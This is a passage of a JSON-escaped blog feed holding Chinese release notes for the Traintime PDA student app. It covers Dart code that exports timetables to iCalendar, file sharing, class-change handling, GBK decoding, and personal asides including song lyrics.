class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;BEGIN:VCALENDAR\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003etimeArrangement\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esummary\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SUMMARY:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eclassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e@\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclassroom\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;待定\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003edescription\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DESCRIPTION:课程名称:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eclassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e; 上课地点:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclassroom\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;待定\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eweekList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eweekList\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econtinue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e \u003cspan class=\"n\"\u003eday\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparseFromDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartDay\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eweeks:\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003edays:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;BEGIN:VEVENT\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003esummary\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003estartTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e[(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003estopTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e[(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estop\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DTSTART:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ehours:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]),\u003c/span\u003e \u003cspan class=\"nl\"\u003eminutes:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])).\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003epattern:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;yyyyMMddTHHmmss\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DTEND:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ehours:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estopTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]),\u003c/span\u003e \u003cspan class=\"nl\"\u003eminutes:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estopTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])).\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003epattern:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;yyyyMMddTHHmmss\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003evevent\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003edescription\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003eEND:VEVENT\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003eEND:VCALENDAR\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"关于将得到的-icalendar-字符串输出成文件\"\u003e关于将得到的 iCalendar 字符串输出成文件\u003c/h3\u003e\n\u003cp\u003e实际上没啥好说的,因为太玄学了。\u003c/p\u003e\n\u003cp\u003e我一开始使用了 \u003ccode\u003efile_picker\u003c/code\u003e 插件,打算让用户先选个文件夹,然后将文件保存了。结果我测试,全都崩溃了。根据反馈,是在插件的原生端获取到用户选择的目录后,返回给 Flutter 端的时候崩溃的,真够无语的。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/file_picker_crash_1.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/file_picker_crash_1.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"堆栈信息\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e堆栈信息\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/file_picker_crash_2.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/file_picker_crash_2.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"具体到库代码\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e具体到库代码\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e正好我的开发时候大量依赖用户的网络交互记录反馈,这是依靠 \u003ccode\u003eAlice\u003c/code\u003e 插件实现的。我去读了 Alice 的代码,发现他使用了很多 \u003ccode\u003eshare_plus\u003c/code\u003e 库,然后我的保存功能就使用了这个。\u003c/p\u003e\n\u003cp\u003e这个库很简单,我要记一笔关于临时文件的东西。这个东西分享文件,是先在软件的临时目录中保存,然后分享,临时文件的清理就交给了系统。我是自己写了一套保存到临时文件,分享后立刻删除的机制。顺便,一定要使用我之前提到的 mime-type,要不然存的就是纯文本文件。\u003c/p\u003e\n\u003cp\u003e关于 \u003ccode\u003eshare_plus\u003c/code\u003e 库,请看这个\u003ca class=\"link\" href=\"https://pub.dev/packages/share_plus\" target=\"_blank\" rel=\"noopener\"\n \u003e链接\u003c/a\u003e。\u003c/p\u003e\n\u003ch3 id=\"课程冲突信息处理\"\u003e课程冲突信息处理\u003c/h3\u003e\n\u003cp\u003e有调课,停课,补课三种。调课是麻烦点,需要寻找到课程信息,然后找到所有跟此相关的时间信息,然后该删除的删除,该添加的添加。\u003c/p\u003e\n\u003cp\u003e不过咱学校的调课信息属实离谱,居然能有调整信息里的老师和对应课程信息里老师信息不一致的状况,离谱啊。最后我把老师信息提取到时间信息去了……\u003c/p\u003e\n\u003ch2 id=\"其他相关\"\u003e其他相关\u003c/h2\u003e\n\u003cp\u003e日本人能好好说话吗,最近看真寻酱动画片。里面的台词我听着很耳熟啊,超市真就发音苏坡马特(supermarket),微笑也发音和斯迈尔里(smiley)神似,真离谱。\u003c/p\u003e\n\u003cp\u003e(此处狗头保命,顺便说明我不是男娘,为啥最近男娘这么流行)\u003c/p\u003e\n\u003ch2 id=\"tequila-sunrise-by-eagles\"\u003eTequila Sunrise by Eagles\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Bz411e7MC\" target=\"_blank\" rel=\"noopener\"\n \u003eMV 在此\u003c/a\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eIt\u0026#39;s another tequila sunrise\nStarin\u0026#39; slowly \u0026#39;cross the sky\nSaid goodbye\n\nHe was just a hired hand\nWorkin\u0026#39; on the dreams he planned to try\nThe days go by\n\nEvery night when the sun goes down\nJust another lonely boy in town\nAnd she\u0026#39;s out runnin\u0026#39; \u0026#39;round\n\nShe wasn\u0026#39;t just another woman\nAnd I couldn\u0026#39;t keep from comin\u0026#39; on\nIt\u0026#39;s been so long\n\nWhoa, and it\u0026#39;s a hollow feelin\u0026#39;\nWhen it comes down to dealin\u0026#39; friends\nIt never ends\n\nTake another shot of courage\nWonder why the right words never come\nYou just get numb\n\nIt\u0026#39;s another tequila sunrise\nThis old world still looks the same\nAnother frame\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eFarewell my good time.\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/traintime-pda-v0.4.1-release-note.html"},{"title":"Traintime PDA v0.4.0 发行简记","time":"2023-10-01T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v0.4.0 发行简记\" /\u003e\u003ch1 id=\"traintime-pda-030--040-发行简记\"\u003eTraintime PDA 0.3.0 \u0026amp; 0.4.0 发行简记\u003c/h1\u003e\n\u003cp\u003e本来我是不想现在就上架 App Store,但是电表突然上架了。虽然目前功能少,但着实打了一惊,我也顾不上我软件的不成熟,也上架了。看来大家还是很认可我的软件,所以感觉可以。我也很感谢很多帮我的人,无论是画吉祥物的,还是帮我发传单的,给我 UI 设计提出建议的。\u003c/p\u003e\n\u003cp\u003e之前我好像说过学校“揭榜”的事情,这玩意确实有点用,就是在面试时候问项目背景的时候,至少能扯到学校:-P\u003c/p\u003e\n\u003cp\u003e说是发行简记,实际上我要写很多的技术相关细节。\u003c/p\u003e\n\u003ch2 id=\"新功能\"\u003e新功能\u003c/h2\u003e\n\u003cp\u003e不包括 bug 修复。\u003c/p\u003e\n\u003ch3 id=\"v030\"\u003ev0.3.0\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003eiOS 版本添加吉祥物,绘画者是 \u003ca class=\"link\" href=\"https://ray.al/\" target=\"_blank\" rel=\"noopener\"\n \u003eRay\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e应用内信息,会有开发者发出的学校/社团/应用信息\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"v040\"\u003ev0.4.0\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e物理实验查看功能\u003c/li\u003e\n\u003cli\u003e现在必须填写密码才能看体育打卡记录。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于接下来的任务\"\u003e关于接下来的任务\u003c/h2\u003e\n\u003cp\u003e可以加入我程序的 \u003ca class=\"link\" href=\"https://testflight.apple.com/join/pLKe5B4q\" target=\"_blank\" rel=\"noopener\"\n \u003eTestflight\u003c/a\u003e 来尝鲜。\u003c/p\u003e\n\u003ch3 id=\"v04x-计划\"\u003ev0.4.x 计划\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e课表添加输出为 icalender 格式,方便 iOS 导入日历。\u003c/li\u003e\n\u003cli\u003eXDU Planet 买个新服务器运行起来。\u003c/li\u003e\n\u003cli\u003e优化掉一些不需要控制器的页面,减少加载失败概率。\u003c/li\u003e\n\u003cli\u003e把体育打卡成绩加回来。\u003c/li\u003e\n\u003cli\u003e新知道个查签到次数的脚本,打算集成。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"v100-计划\"\u003ev1.0.0 计划\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e优化首页 UI 的设计。\u003c/li\u003e\n\u003cli\u003e集成考试,物理实验到课表内,进行统一的日程展示。(大功能,容易鸽子)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"将来计划\"\u003e将来计划\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e桌面小部件。\u003c/li\u003e\n\u003cli\u003e研究生版本打算写个网页服务器,输入学号密码获取 icalender 课表。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于技术相关\"\u003e关于技术相关\u003c/h2\u003e\n\u003ch3 id=\"关于物理实验乱码处理和-dio-转换器\"\u003e关于物理实验,乱码处理和 Dio 转换器\u003c/h3\u003e\n\u003cp\u003e我们学校目前的物理实验服务器使用的是 2005 年的 ASP 技术,重点在 2005 年。实际上技术差点也没啥,但是有两点属实离谱:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e所有的信息都是用 GB2312 编码的。\u003c/li\u003e\n\u003cli\u003e传回的 Cookie 有中文字符的字段。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e其中第二点是最离谱的。\u003c/p\u003e\n\u003cp\u003e对于 Dart 底层的默认 UTF-16 String 来说,这俩点属实头疼。\u003c/p\u003e\n\u003ch4 id=\"乱码处理\"\u003e乱码处理\u003c/h4\u003e\n\u003cp\u003e乱码实际上很常见,常知道的锟斤拷梗就跟这个相关。毕竟汉字跟英文一样,在电脑底层都是需要用二进制编码来表示的。简体中文汉字有两个主要编码:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e国标码:一个用于编码汉字和一些日韩字符的国家标准,主要有 GB2312,GBK,GB18030 三个标准,呈现继承与发展(向下兼容)的特性。请查看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/453675608\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e来搞清国标码(GBK)相关。Windows 默认就是这个编码。国标码是定长编码,基本使用两个字节(16 位二进制位)来表示一个汉字。\u003c/li\u003e\n\u003cli\u003eUTF 编码:国际上有个统一码联盟,他们负责给全世界所有的字符编码,称为 Unicode。很早他们就支持了中日韩三个语言字符的编码(由于文字特性,中日韩字符在他们的体系中,在一个分区)。Unicode 只是规定了字符对应的二进制表示,但实际使用,位数过长而且浪费很多,所以实际使用只能继续缩短,使用更短的变长编码,称为 UTF。UTF 分成很多版本,一般代表了最短编码位数是多少。Linux / Mac + 互联网数据一般都是用这个编码。详情可以查看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/427488961\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e说到变长编码知识,计算机组成会讲汇编命令是如何编码的,那里会讲的。\u003c/p\u003e\n\u003cp\u003e很明显,如果用 UTF 编码解析国标码,绝对会解析出不正常的数据。大巧不巧,Dart 语言的 String 本质上是一个 UTF-16 编码的序列。于是问题就产生了。\u003c/p\u003e\n\u003cp\u003e国标码是定长编码,而 UTF 是变长编码,很显然是基本没法兼容的。不兼容还好,在我的实践中,用 UTF 编码先编码回二进制信息,然后用国标码解码信息,大概率是无法得到正确的数据。\u003c/p\u003e\n\u003cp\u003e所以我目前程序中,需要让网络库不能用 Dart 的 String 来解码我的数据,我需要一个支持国标码的解码库。\u003c/p\u003e\n\u003ch4 id=\"dart--flutter-的-gbk-解码库\"\u003eDart / Flutter 的 GBK 解码库\u003c/h4\u003e\n\u003cp\u003e这个实际上有两种:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e流行方案:使用 UTF 和 GBK 的码表一一对应,方便转换。这个方式对平台很灵活,缺点需要让我程序增大 500k 左右,而且这种方式在执行时候也会有些慢。\u003c/li\u003e\n\u003cli\u003e调用系统的解码接口来解码信息,我使用的是这个方案。但是缺点也很明显,如果没有对目标系统适配,解码就很难办。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e最终我使用的是这个库:\u003ca class=\"link\" href=\"https://pub.dev/packages/charset_converter\" target=\"_blank\" rel=\"noopener\"\n \u003echarset_converter\u003c/a\u003e。它目前能 Windows,Android,iOS 三个系统的转码,而且使用很方便。他支持很多编码,但我主要用国标码。\u003c/p\u003e\n\u003ch4 id=\"关于-dio-的转换器\"\u003e关于 Dio 的转换器\u003c/h4\u003e\n\u003cp\u003eDio 的网络请求使用的是过滤器流水线模式:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eHTTP 请求 